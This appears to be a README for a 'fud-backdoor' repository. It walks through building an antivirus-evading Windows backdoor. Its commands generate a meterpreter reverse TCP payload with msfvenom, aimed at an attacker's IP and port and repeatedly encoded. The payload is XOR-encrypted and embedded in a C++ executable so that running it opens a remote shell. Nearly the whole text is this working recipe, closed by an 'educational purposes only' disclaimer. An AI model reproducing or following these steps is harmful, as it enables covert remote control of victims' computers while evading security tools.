Follow the steps bellow to generate a crypted shellcode that can be used on a C++ executable.
sudo git clone https://github.com/3ct0s/fud-backdoor.git
cd fud-backdoor
msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt
python xor_encryptor.py raw.txt > xor_shellcode.txt
Now that you have the encrypted shellcode you need to add it on the main.cpp file just like this:
char b[] = /*xor_shellcode*/
There is no specific way to do this, all you need to do is compile the C++ code into a windows executable. Here are ways to do that. https://cutt.ly/BBOXP797
Now you can execute the backdoor and enjoy the metepreter shell
I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!